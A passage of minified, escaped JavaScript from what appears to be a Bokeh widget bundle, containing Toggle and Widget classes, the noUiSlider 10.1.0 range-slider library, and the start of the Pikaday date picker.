i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toggle\\\",this.prototype.default_view=s,this.define({active:[o.Bool,!1]}),this.override({label:\\\"Toggle\\\"})},t}(r.AbstractButton);(n.Toggle=a).initClass()},440:function(t,e,n){var i=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},e.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},e.prototype.get_width=function(){throw new Error(\\\"unused\\\")},e.prototype.get_height=function(){throw new Error(\\\"unused\\\")},e}(r.LayoutDOMView);n.WidgetView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Widget\\\"},t}(r.LayoutDOM);(n.Widget=s).initClass()},431:function(t,e,n){\\n      /*! nouislider - 10.1.0 - 2017-07-28 17:11:18 */var i;i=function(){\\\"use strict\\\";var $=\\\"10.1.0\\\";function Q(t){t.preventDefault()}function r(t){return\\\"number\\\"==typeof t&&!isNaN(t)&&isFinite(t)}function Z(t,e,n){0<n&&(et(t,e),setTimeout(function(){nt(t,e)},n))}function tt(t){return Array.isArray(t)?t:[t]}function e(t){var e=(t=String(t)).split(\\\".\\\");return 1<e.length?e[1].length:0}function et(t,e){t.classList?t.classList.add(e):t.className+=\\\" \\\"+e}function nt(t,e){t.classList?t.classList.remove(e):t.className=t.className.replace(new RegExp(\\\"(^|\\\\\\\\b)\\\"+e.split(\\\" \\\").join(\\\"|\\\")+\\\"(\\\\\\\\b|$)\\\",\\\"gi\\\"),\\\" \\\")}function it(t){var e=void 0!==window.pageXOffset,n=\\\"CSS1Compat\\\"===(t.compatMode||\\\"\\\"),i=e?window.pageXOffset:n?t.documentElement.scrollLeft:t.body.scrollLeft,r=e?window.pageYOffset:n?t.documentElement.scrollTop:t.body.scrollTop;return{x:i,y:r}}function c(t,e){return 100/(e-t)}function d(t,e){return 100*e/(t[1]-t[0])}function h(t,e){for(var n=1;t>=e[n];)n+=1;return n}function n(t,e,n){if(n>=t.slice(-1)[0])return 100;var i,r,o,s,a,l,u=h(n,t);return i=t[u-1],r=t[u],o=e[u-1],s=e[u],o+(l=n,d(a=[i,r],a[0]<0?l+Math.abs(a[0]):l-a[0])/c(o,s))}function i(t,e,n,i){if(100===i)return i;var r,o,s,a,l=h(i,t);return n?(r=t[l-1],((o=t[l])-r)/2<i-r?o:r):e[l-1]?t[l-1]+(s=i-t[l-1],a=e[l-1],Math.round(s/a)*a):i}function o(t,e,n){var i;if(\\\"number\\\"==typeof e&&(e=[e]),\\\"[object Array]\\\"!==Object.prototype.toString.call(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' contains invalid value.\\\");if(!r(i=\\\"min\\\"===t?0:\\\"max\\\"===t?100:parseFloat(t))||!r(e[0]))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' value isn't numeric.\\\");n.xPct.push(i),n.xVal.push(e[0]),i?n.xSteps.push(!isNaN(e[1])&&e[1]):isNaN(e[1])||(n.xSteps[0]=e[1]),n.xHighestCompleteStep.push(0)}function s(t,e,n){if(!e)return!0;n.xSteps[t]=d([n.xVal[t],n.xVal[t+1]],e)/c(n.xPct[t],n.xPct[t+1]);var i=(n.xVal[t+1]-n.xVal[t])/n.xNumSteps[t],r=Math.ceil(Number(i.toFixed(3))-1),o=n.xVal[t]+n.xNumSteps[t]*r;n.xHighestCompleteStep[t]=o}function a(t,e,n){this.xPct=[],this.xVal=[],this.xSteps=[n||!1],this.xNumSteps=[!1],this.xHighestCompleteStep=[],this.snap=e;var i,r=[];for(i in t)t.hasOwnProperty(i)&&r.push([t[i],i]);for(r.length&&\\\"object\\\"==typeof r[0][0]?r.sort(function(t,e){return t[0][0]-e[0][0]}):r.sort(function(t,e){return t[0]-e[0]}),i=0;i<r.length;i++)o(r[i][1],r[i][0],this);for(this.xNumSteps=this.xSteps.slice(0),i=0;i<this.xNumSteps.length;i++)s(i,this.xNumSteps[i],this)}a.prototype.getMargin=function(t){var e=this.xNumSteps[0];if(e&&t/e%1!=0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit', 'margin' and 'padding' must be divisible by step.\\\");return 2===this.xPct.length&&d(this.xVal,t)},a.prototype.toStepping=function(t){return t=n(this.xVal,this.xPct,t)},a.prototype.fromStepping=function(t){return function(t,e,n){if(100<=n)return t.slice(-1)[0];var i,r,o,s,a,l=h(n,e);return i=t[l-1],r=t[l],o=e[l-1],s=e[l],a=[i,r],(n-o)*c(o,s)*(a[1]-a[0])/100+a[0]}(this.xVal,this.xPct,t)},a.prototype.getStep=function(t){return t=i(this.xPct,this.xSteps,this.snap,t)},a.prototype.getNearbySteps=function(t){var e=h(t,this.xPct);return{stepBefore:{startValue:this.xVal[e-2],step:this.xNumSteps[e-2],highestStep:this.xHighestCompleteStep[e-2]},thisStep:{startValue:this.xVal[e-1],step:this.xNumSteps[e-1],highestStep:this.xHighestCompleteStep[e-1]},stepAfter:{startValue:this.xVal[e-0],step:this.xNumSteps[e-0],highestStep:this.xHighestCompleteStep[e-0]}}},a.prototype.countStepDecimals=function(){var t=this.xNumSteps.map(e);return Math.max.apply(null,t)},a.prototype.convert=function(t){return this.getStep(this.toStepping(t))};var l={to:function(t){return void 0!==t&&t.toFixed(2)},from:Number};function u(t){if(\\\"object\\\"==typeof(e=t)&&\\\"function\\\"==typeof e.to&&\\\"function\\\"==typeof e.from)return!0;var e;throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'format' requires 'to' and 'from' methods.\\\")}function p(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'step' is not numeric.\\\");t.singleStep=e}function f(t,e){if(\\\"object\\\"!=typeof e||Array.isArray(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' is not an object.\\\");if(void 0===e.min||void 0===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Missing 'min' or 'max' in 'range'.\\\");if(e.min===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' 'min' and 'max' cannot be equal.\\\");t.spectrum=new a(e,t.snap,t.singleStep)}function m(t,e){if(e=tt(e),!Array.isArray(e)||!e.length)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'start' option is incorrect.\\\");t.handles=e.length,t.start=e}function v(t,e){if(\\\"boolean\\\"!=typeof(t.snap=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'snap' option must be a boolean.\\\")}function g(t,e){if(\\\"boolean\\\"!=typeof(t.animate=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'animate' option must be a boolean.\\\")}function y(t,e){if(\\\"number\\\"!=typeof(t.animationDuration=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'animationDuration' option must be a number.\\\")}function b(t,e){var n,i=[!1];if(\\\"lower\\\"===e?e=[!0,!1]:\\\"upper\\\"===e&&(e=[!1,!0]),!0===e||!1===e){for(n=1;n<t.handles;n++)i.push(e);i.push(!1)}else{if(!Array.isArray(e)||!e.length||e.length!==t.handles+1)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'connect' option doesn't match handle count.\\\");i=e}t.connect=i}function _(t,e){switch(e){case\\\"horizontal\\\":t.ort=0;break;case\\\"vertical\\\":t.ort=1;break;default:throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'orientation' option is invalid.\\\")}}function w(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'margin' option must be numeric.\\\");if(0!==e&&(t.margin=t.spectrum.getMargin(e),!t.margin))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'margin' option is only supported on linear sliders.\\\")}function x(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit' option must be numeric.\\\");if(t.limit=t.spectrum.getMargin(e),!t.limit||t.handles<2)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit' option is only supported on linear sliders with 2 or more handles.\\\")}function k(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be numeric.\\\");if(0!==e){if(t.padding=t.spectrum.getMargin(e),!t.padding)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option is only supported on linear sliders.\\\");if(t.padding<0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be a positive number.\\\");if(50<=t.padding)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be less than half the range.\\\")}}function S(t,e){switch(e){case\\\"ltr\\\":t.dir=0;break;case\\\"rtl\\\":t.dir=1;break;default:throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'direction' option was not recognized.\\\")}}function C(t,e){if(\\\"string\\\"!=typeof e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'behaviour' must be a string containing options.\\\");var n=0<=e.indexOf(\\\"tap\\\"),i=0<=e.indexOf(\\\"drag\\\"),r=0<=e.indexOf(\\\"fixed\\\"),o=0<=e.indexOf(\\\"snap\\\"),s=0<=e.indexOf(\\\"hover\\\");if(r){if(2!==t.handles)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'fixed' behaviour must be used with 2 handles\\\");w(t,t.start[1]-t.start[0])}t.events={tap:n||o,drag:i,fixed:r,snap:o,hover:s}}function E(t,e){if(\\\"boolean\\\"!=typeof(t.multitouch=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'multitouch' option must be a boolean.\\\")}function D(t,e){if(!1!==e)if(!0===e){t.tooltips=[];for(var n=0;n<t.handles;n++)t.tooltips.push(!0)}else{if(t.tooltips=tt(e),t.tooltips.length!==t.handles)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): must pass a formatter for all handles.\\\");t.tooltips.forEach(function(t){if(\\\"boolean\\\"!=typeof t&&(\\\"object\\\"!=typeof t||\\\"function\\\"!=typeof t.to))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'tooltips' must be passed a formatter or 'false'.\\\")})}}function M(t,e){u(t.ariaFormat=e)}function A(t,e){u(t.format=e)}function N(t,e){if(void 0!==e&&\\\"string\\\"!=typeof e&&!1!==e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'cssPrefix' must be a string or `false`.\\\");t.cssPrefix=e}function V(t,e){if(void 0!==e&&\\\"object\\\"!=typeof e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'cssClasses' must be an object.\\\");if(\\\"string\\\"==typeof t.cssPrefix)for(var n in t.cssClasses={},e)e.hasOwnProperty(n)&&(t.cssClasses[n]=t.cssPrefix+e[n]);else t.cssClasses=e}function I(t,e){if(!0!==e&&!1!==e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'useRequestAnimationFrame' option should be true (default) or false.\\\");t.useRequestAnimationFrame=e}function rt(e){var n={margin:0,limit:0,padding:0,animate:!0,animationDuration:300,ariaFormat:l,format:l},i={step:{r:!1,t:p},start:{r:!0,t:m},connect:{r:!0,t:b},direction:{r:!0,t:S},snap:{r:!1,t:v},animate:{r:!1,t:g},animationDuration:{r:!1,t:y},range:{r:!0,t:f},orientation:{r:!1,t:_},margin:{r:!1,t:w},limit:{r:!1,t:x},padding:{r:!1,t:k},behaviour:{r:!0,t:C},multitouch:{r:!0,t:E},ariaFormat:{r:!1,t:M},format:{r:!1,t:A},tooltips:{r:!1,t:D},cssPrefix:{r:!1,t:N},cssClasses:{r:!1,t:V},useRequestAnimationFrame:{r:!1,t:I}},r={connect:!1,direction:\\\"ltr\\\",behaviour:\\\"tap\\\",multitouch:!1,orientation:\\\"horizontal\\\",cssPrefix:\\\"noUi-\\\",cssClasses:{target:\\\"target\\\",base:\\\"base\\\",origin:\\\"origin\\\",handle:\\\"handle\\\",handleLower:\\\"handle-lower\\\",handleUpper:\\\"handle-upper\\\",horizontal:\\\"horizontal\\\",vertical:\\\"vertical\\\",background:\\\"background\\\",connect:\\\"connect\\\",ltr:\\\"ltr\\\",rtl:\\\"rtl\\\",draggable:\\\"draggable\\\",drag:\\\"state-drag\\\",tap:\\\"state-tap\\\",active:\\\"active\\\",tooltip:\\\"tooltip\\\",pips:\\\"pips\\\",pipsHorizontal:\\\"pips-horizontal\\\",pipsVertical:\\\"pips-vertical\\\",marker:\\\"marker\\\",markerHorizontal:\\\"marker-horizontal\\\",markerVertical:\\\"marker-vertical\\\",markerNormal:\\\"marker-normal\\\",markerLarge:\\\"marker-large\\\",markerSub:\\\"marker-sub\\\",value:\\\"value\\\",valueHorizontal:\\\"value-horizontal\\\",valueVertical:\\\"value-vertical\\\",valueNormal:\\\"value-normal\\\",valueLarge:\\\"value-large\\\",valueSub:\\\"value-sub\\\"},useRequestAnimationFrame:!0};e.format&&!e.ariaFormat&&(e.ariaFormat=e.format),Object.keys(i).forEach(function(t){if(void 0===e[t]&&void 0===r[t]){if(i[t].r)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): '\\\"+t+\\\"' is required.\\\");return!0}i[t].t(n,void 0===e[t]?r[t]:e[t])}),n.pips=e.pips;var t=[[\\\"left\\\",\\\"top\\\"],[\\\"right\\\",\\\"bottom\\\"]];return n.style=t[n.dir][n.ort],n.styleOposite=t[n.dir?0:1][n.ort],n}function P(t,d,o){var u,l,s,a,h,r,c,e,p=window.navigator.pointerEnabled?{start:\\\"pointerdown\\\",move:\\\"pointermove\\\",end:\\\"pointerup\\\"}:window.navigator.msPointerEnabled?{start:\\\"MSPointerDown\\\",move:\\\"MSPointerMove\\\",end:\\\"MSPointerUp\\\"}:{start:\\\"mousedown touchstart\\\",move:\\\"mousemove touchmove\\\",end:\\\"mouseup touchend\\\"},n=window.CSS&&CSS.supports&&CSS.supports(\\\"touch-action\\\",\\\"none\\\"),f=n&&function(){var t=!1;try{var e=Object.defineProperty({},\\\"passive\\\",{get:function(){t=!0}});window.addEventListener(\\\"test\\\",null,e)}catch(t){}return t}(),_=t,m=[],v=[],g=0,w=d.spectrum,y=[],b={},x=t.ownerDocument,k=x.documentElement,S=x.body;function C(t,e){var n=x.createElement(\\\"div\\\");return e&&et(n,e),t.appendChild(n),n}function i(t,e){var n=C(t,d.cssClasses.origin),i=C(n,d.cssClasses.handle);return i.setAttribute(\\\"data-handle\\\",e),i.setAttribute(\\\"tabindex\\\",\\\"0\\\"),i.setAttribute(\\\"role\\\",\\\"slider\\\"),i.setAttribute(\\\"aria-orientation\\\",d.ort?\\\"vertical\\\":\\\"horizontal\\\"),0===e?et(i,d.cssClasses.handleLower):e===d.handles-1&&et(i,d.cssClasses.handleUpper),n}function E(t,e){return!!e&&C(t,d.cssClasses.connect)}function D(t,e){return!!d.tooltips[e]&&C(t.firstChild,d.cssClasses.tooltip)}function M(e,i,r){var o=x.createElement(\\\"div\\\"),s=[d.cssClasses.valueNormal,d.cssClasses.valueLarge,d.cssClasses.valueSub],a=[d.cssClasses.markerNormal,d.cssClasses.markerLarge,d.cssClasses.markerSub],l=[d.cssClasses.valueHorizontal,d.cssClasses.valueVertical],u=[d.cssClasses.markerHorizontal,d.cssClasses.markerVertical];function c(t,e){var n=e===d.cssClasses.value,i=n?l:u,r=n?s:a;return e+\\\" \\\"+i[d.ort]+\\\" \\\"+r[t]}return et(o,d.cssClasses.pips),et(o,0===d.ort?d.cssClasses.pipsHorizontal:d.cssClasses.pipsVertical),Object.keys(e).forEach(function(t){!function(t,e){e[1]=e[1]&&i?i(e[0],e[1]):e[1];var n=C(o,!1);n.className=c(e[1],d.cssClasses.marker),n.style[d.style]=t+\\\"%\\\",e[1]&&((n=C(o,!1)).className=c(e[1],d.cssClasses.value),n.style[d.style]=t+\\\"%\\\",n.innerText=r.to(e[0]))}(t,e[t])}),o}function A(){var t;h&&((t=h).parentElement.removeChild(t),h=null)}function N(t){A();var p,f,m,e,v,n,i,g,y,b,r=t.mode,o=t.density||1,s=t.filter||!1,a=t.values||!1,l=t.stepped||!1,u=function(t,e,n){if(\\\"range\\\"===t||\\\"steps\\\"===t)return w.xVal;if(\\\"count\\\"===t){if(!e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'values' required for mode 'count'.\\\");var i,r=100/(e-1),o=0;for(e=[];(i=o++*r)<=100;)e.push(i);t=\\\"positions\\\"}return\\\"positions\\\"===t?e.map(function(t){return w.fromStepping(n?w.getStep(t):t)}):\\\"values\\\"===t?n?e.map(function(t){return w.fromStepping(w.getStep(w.toStepping(t)))}):e:void 0}(r,a,l),c=(p=o,f=r,m=u,v={},n=w.xVal[0],i=w.xVal[w.xVal.length-1],y=g=!1,b=0,(e=m.slice().sort(function(t,e){return t-e}),m=e.filter(function(t){return!this[t]&&(this[t]=!0)},{}))[0]!==n&&(m.unshift(n),g=!0),m[m.length-1]!==i&&(m.push(i),y=!0),m.forEach(function(t,e){var n,i,r,o,s,a,l,u,c,d=t,h=m[e+1];if(\\\"steps\\\"===f&&(n=w.xNumSteps[e]),n||(n=h-d),!1!==d&&void 0!==h)for(n=Math.max(n,1e-7),i=d;i<=h;i=(i+n).toFixed(7)/1){for(l=(s=(o=w.toStepping(i))-b)/p,c=s/(u=Math.round(l)),r=1;r<=u;r+=1)v[(b+r*c).toFixed(5)]=[\\\"x\\\",0];a=-1<m.indexOf(i)?1:\\\"steps\\\"===f?2:0,!e&&g&&(a=0),i===h&&y||(v[o.toFixed(5)]=[i,a]),b=o}}),v),d=t.format||{to:Math.round};return h=_.appendChild(M(c,s,d))}function V(){var t=u.getBoundingClientRect(),e=\\\"offset\\\"+[\\\"Width\\\",\\\"Height\\\"][d.ort];return 0===d.ort?t.width||u[e]:t.height||u[e]}function I(i,r,o,s){var e=function(t){return!_.hasAttribute(\\\"disabled\\\")&&(e=_,n=d.cssClasses.tap,(e.classList?!e.classList.contains(n):!new RegExp(\\\"\\\\\\\\b\\\"+n+\\\"\\\\\\\\b\\\").test(e.className))&&!!(t=function(t,e,n){var i,r,o=0===t.type.indexOf(\\\"touch\\\"),s=0===t.type.indexOf(\\\"mouse\\\"),a=0===t.type.indexOf(\\\"pointer\\\");if(0===t.type.indexOf(\\\"MSPointer\\\")&&(a=!0),o&&d.multitouch){var l=function(t){return t.target===n||n.contains(t.target)};if(\\\"touchstart\\\"===t.type){var u=Array.prototype.filter.call(t.touches,l);if(1<u.length)return!1;i=u[0].pageX,r=u[0].pageY}else{var c=Array.prototype.find.call(t.changedTouches,l);if(!c)return!1;i=c.pageX,r=c.pageY}}else if(o){if(1<t.touches.length)return!1;i=t.changedTouches[0].pageX,r=t.changedTouches[0].pageY}return e=e||it(x),(s||a)&&(i=t.clientX+e.x,r=t.clientY+e.y),t.pageOffset=e,t.points=[i,r],t.cursor=s||a,t}(t,s.pageOffset,s.target||r))&&!(i===p.start&&void 0!==t.buttons&&1<t.buttons)&&(!s.hover||!t.buttons)&&(f||t.preventDefault(),t.calcPoint=t.points[d.ort],void o(t,s)));var e,n},n=[];return i.split(\\\" \\\").forEach(function(t){r.addEventListener(t,e,!!f&&{passive:!0}),n.push([t,e])}),n}function P(t){var e,n,i,r,o,s,a=t-(e=u,n=d.ort,i=e.getBoundingClientRect(),r=e.ownerDocument,o=r.documentElement,s=it(r),/webkit.*Chrome.*Mobile/i.test(navigator.userAgent)&&(s.x=0),n?i.top+s.y-o.clientTop:i.left+s.x-o.clientLeft),l=100*a/V();return d.dir?100-l:l}function R(t,i,n,e){var r=n.slice(),o=[!t,t],s=[t,!t];e=e.slice(),t&&e.reverse(),1<e.length?e.forEach(function(t,e){var n=z(r,t,r[t]+i,o[e],s[e],!1);!1===n?i=0:(i=n-r[t],r[t]=n)}):o=s=[!0];var a=!1;e.forEach(function(t,e){a=H(t,n[t]+i,o[e],s[e])||a}),a&&e.forEach(function(t){L(\\\"update\\\",t),L(\\\"slide\\\",t)})}function L(n,i,r){Object.keys(b).forEach(function(t){var e=t.split(\\\".\\\")[0];n===e&&b[t].forEach(function(t){t.call(a,y.map(d.format.to),i,y.slice(),r||!1,m.slice())})})}function T(t,e){\\\"mouseout\\\"===t.type&&\\\"HTML\\\"===t.target.nodeName&&null===t.relatedTarget&&W(t,e)}function O(t,e){if(-1===navigator.appVersion.indexOf(\\\"MSIE 9\\\")&&0===t.buttons&&0!==e.buttonsProperty)return W(t,e);var n=(d.dir?-1:1)*(t.calcPoint-e.startCalcPoint),i=100*n/e.baseSize;R(0<n,i,e.locations,e.handleNumbers)}function W(t,e){e.handle&&(nt(e.handle,d.cssClasses.active),g-=1),e.listeners.forEach(function(t){k.removeEventListener(t[0],t[1])}),0===g&&(nt(_,d.cssClasses.drag),Y(),t.cursor&&(S.style.cursor=\\\"\\\",S.removeEventListener(\\\"selectstart\\\",Q))),e.handleNumbers.forEach(function(t){L(\\\"change\\\",t),L(\\\"set\\\",t),L(\\\"end\\\",t)})}function B(t,e){var n;if(1===e.handleNumbers.length){var i=l[e.handleNumbers[0]];if(i.hasAttribute(\\\"disabled\\\"))return!1;n=i.children[0],g+=1,et(n,d.cssClasses.active)}t.stopPropagation();var r=[],o=I(p.move,k,O,{target:t.target,handle:n,listeners:r,startCalcPoint:t.calcPoint,baseSize:V(),pageOffset:t.pageOffset,handleNumbers:e.handleNumbers,buttonsProperty:t.buttons,locations:m.slice()}),s=I(p.end,k,W,{target:t.target,handle:n,listeners:r,handleNumbers:e.handleNumbers}),a=I(\\\"mouseout\\\",k,T,{target:t.target,handle:n,listeners:r,handleNumbers:e.handleNumbers});r.push.apply(r,o.concat(s,a)),t.cursor&&(S.style.cursor=getComputedStyle(t.target).cursor,1<l.length&&et(_,d.cssClasses.drag),S.addEventListener(\\\"selectstart\\\",Q,!1)),e.handleNumbers.forEach(function(t){L(\\\"start\\\",t)})}function U(t){t.stopPropagation();var i,r,o,e=P(t.calcPoint),n=(i=e,o=!(r=100),l.forEach(function(t,e){if(!t.hasAttribute(\\\"disabled\\\")){var n=Math.abs(m[e]-i);n<r&&(o=e,r=n)}}),o);if(!1===n)return!1;d.events.snap||Z(_,d.cssClasses.tap,d.animationDuration),H(n,e,!0,!0),Y(),L(\\\"slide\\\",n,!0),L(\\\"update\\\",n,!0),L(\\\"change\\\",n,!0),L(\\\"set\\\",n,!0),d.events.snap&&B(t,{handleNumbers:[n]})}function j(t){var e=P(t.calcPoint),n=w.getStep(e),i=w.fromStepping(n);Object.keys(b).forEach(function(t){\\\"hover\\\"===t.split(\\\".\\\")[0]&&b[t].forEach(function(t){t.call(a,i)})})}function z(t,e,n,i,r,o){var s;return 1<l.length&&(i&&0<e&&(n=Math.max(n,t[e-1]+d.margin)),r&&e<l.length-1&&(n=Math.min(n,t[e+1]-d.margin))),1<l.length&&d.limit&&(i&&0<e&&(n=Math.min(n,t[e-1]+d.limit)),r&&e<l.length-1&&(n=Math.max(n,t[e+1]-d.limit))),d.padding&&(0===e&&(n=Math.max(n,d.padding)),e===l.length-1&&(n=Math.min(n,100-d.padding))),n=w.getStep(n),s=n,!((n=Math.max(Math.min(s,100),0))===t[e]&&!o)&&n}function F(t){return t+\\\"%\\\"}function Y(){v.forEach(function(t){var e=50<m[t]?-1:1,n=3+(l.length+e*t);l[t].childNodes[0].style.zIndex=n})}function H(t,e,n,i){return!1!==(e=z(m,t,e,n,i,!1))&&(function(t,e){m[t]=e,y[t]=w.fromStepping(e);var n=function(){l[t].style[d.style]=F(e),q(t),q(t+1)};window.requestAnimationFrame&&d.useRequestAnimationFrame?window.requestAnimationFrame(n):n()}(t,e),!0)}function q(t){if(s[t]){var e=0,n=100;0!==t&&(e=m[t-1]),t!==s.length-1&&(n=m[t]),s[t].style[d.style]=F(e),s[t].style[d.styleOposite]=F(100-n)}}function G(t,e){null!==t&&!1!==t&&(\\\"number\\\"==typeof t&&(t=String(t)),!1===(t=d.format.from(t))||isNaN(t)||H(e,w.toStepping(t),!1,!1))}function X(t,e){var n=tt(t),i=void 0===m[0];e=void 0===e||!!e,n.forEach(G),d.animate&&!i&&Z(_,d.cssClasses.tap,d.animationDuration),v.forEach(function(t){H(t,m[t],!0,!1)}),Y(),v.forEach(function(t){L(\\\"update\\\",t),null!==n[t]&&e&&L(\\\"set\\\",t)})}function K(){var t=y.map(d.format.to);return 1===t.length?t[0]:t}function J(t,e){b[t]=b[t]||[],b[t].push(e),\\\"update\\\"===t.split(\\\".\\\")[0]&&l.forEach(function(t,e){L(\\\"update\\\",e)})}if(_.noUiSlider)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Slider was already initialized.\\\");return et(e=_,d.cssClasses.target),0===d.dir?et(e,d.cssClasses.ltr):et(e,d.cssClasses.rtl),0===d.ort?et(e,d.cssClasses.horizontal):et(e,d.cssClasses.vertical),u=C(e,d.cssClasses.base),function(t,e){l=[],(s=[]).push(E(e,t[0]));for(var n=0;n<d.handles;n++)l.push(i(e,n)),v[n]=n,s.push(E(e,t[n+1]))}(d.connect,u),a={destroy:function(){for(var t in d.cssClasses)d.cssClasses.hasOwnProperty(t)&&nt(_,d.cssClasses[t]);for(;_.firstChild;)_.removeChild(_.firstChild);delete _.noUiSlider},steps:function(){return m.map(function(t,e){var n=w.getNearbySteps(t),i=y[e],r=n.thisStep.step,o=null;!1!==r&&i+r>n.stepAfter.startValue&&(r=n.stepAfter.startValue-i),o=i>n.thisStep.startValue?n.thisStep.step:!1!==n.stepBefore.step&&i-n.stepBefore.highestStep,100===t?r=null:0===t&&(o=null);var s=w.countStepDecimals();return null!==r&&!1!==r&&(r=Number(r.toFixed(s))),null!==o&&!1!==o&&(o=Number(o.toFixed(s))),[o,r]})},on:J,off:function(t){var i=t&&t.split(\\\".\\\")[0],r=i&&t.substring(i.length);Object.keys(b).forEach(function(t){var e=t.split(\\\".\\\")[0],n=t.substring(e.length);i&&i!==e||r&&r!==n||delete b[t]})},get:K,set:X,reset:function(t){X(d.start,t)},__moveHandles:function(t,e,n){R(t,e,m,n)},options:o,updateOptions:function(e,t){var n=K(),i=[\\\"margin\\\",\\\"limit\\\",\\\"padding\\\",\\\"range\\\",\\\"animate\\\",\\\"snap\\\",\\\"step\\\",\\\"format\\\"];i.forEach(function(t){void 0!==e[t]&&(o[t]=e[t])});var r=rt(o);i.forEach(function(t){void 0!==e[t]&&(d[t]=r[t])}),w=r.spectrum,d.margin=r.margin,d.limit=r.limit,d.padding=r.padding,d.pips&&N(d.pips),m=[],X(e.start||n,t)},target:_,removePips:A,pips:N},(c=d.events).fixed||l.forEach(function(t,e){I(p.start,t.children[0],B,{handleNumbers:[e]})}),c.tap&&I(p.start,u,U,{}),c.hover&&I(p.move,u,j,{hover:!0}),c.drag&&s.forEach(function(t,e){if(!1!==t&&0!==e&&e!==s.length-1){var n=l[e-1],i=l[e],r=[t];et(t,d.cssClasses.draggable),c.fixed&&(r.push(n.children[0]),r.push(i.children[0])),r.forEach(function(t){I(p.start,t,B,{handles:[n,i],handleNumbers:[e-1,e]})})}}),X(d.start),d.pips&&N(d.pips),d.tooltips&&(r=l.map(D),J(\\\"update\\\",function(t,e,n){if(r[e]){var i=t[e];!0!==d.tooltips[e]&&(i=d.tooltips[e].to(n[e])),r[e].innerHTML=i}})),J(\\\"update\\\",function(t,e,s,n,a){v.forEach(function(t){var e=l[t],n=z(m,t,0,!0,!0,!0),i=z(m,t,100,!0,!0,!0),r=a[t],o=d.ariaFormat.to(s[t]);e.children[0].setAttribute(\\\"aria-valuemin\\\",n.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuemax\\\",i.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuenow\\\",r.toFixed(1)),e.children[0].setAttribute(\\\"aria-valuetext\\\",o)})}),a}return{version:$,create:function(t,e){if(!t||!t.nodeName)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): create requires a single element, got: \\\"+t);var n=rt(e),i=P(t,n,e);return t.noUiSlider=i}}},\\\"object\\\"==typeof n?e.exports=i():window.noUiSlider=i()},432:function(i,r,o){\\n      /*!\\n           * Pikaday\\n           *\\n           * Copyright Â© 2014 David Bushell | BSD & MIT license | https://github.com/dbushell/Pikaday\\n           */\\n      !function(t,e){\\\"use strict\\\";var n;if(\\\"object\\\"==typeof o){try{n=i(\\\"moment\\\")}catch(t){}r.exports=e(n)}else t.Pikaday=e(t.moment)}(this,function(n){\\\"use strict\\\";var o=\\\"function\\\"==typeof n,s=!!window.addEventListener,c=window.document,u=window.setTimeout,a=function(t,e,n,i){s?t.addEventListener(e,n,!!i):t.attachEvent(\\\"on\\\"+e,n)},i=function(t,e,n,i){s?t.removeEventListener(e,n,!!i):t.detachEvent(\\\"on\\\"+e,n)},l=function(t,e){return-1!==(\\\" \\\"+t.className+\\\" \\\").indexOf(\\\" \\\"+e+\\\" \\\")},g=function(t){return/Array/.test(Object.prototype.toString.call(t))},B=function(t){return/Date/.test(Object.prototype.toString.call(t))&&!isNaN(t.getTime())},U=function(t,e){return[31,(n=t,n%4==0&&n%100!=0||n%400==0?29:28),31,30,31,30,31,31,30,31,30,31][e];var n},j=function(t){B(t)&&t.setHours(0,0,0,0)},z=function(t,e){return t.getTime()===e.getTime()},d=function(t,e,n){var i,r;for(i in e)(r=void 0!==t[i])&&\\\"object\\\"==typeof e[i]&&null!==e[i]&&void 0===e[i].nodeName?B(e[i])?n&&(t[i]=new Date(e[i].getTime())):g(e[i])?n&&(t[i]=e[i].slice(0)):t[i]=d({},e[i],n):!n&&r||(t[i]=e[i]);return t},r=function(t,e,n){var 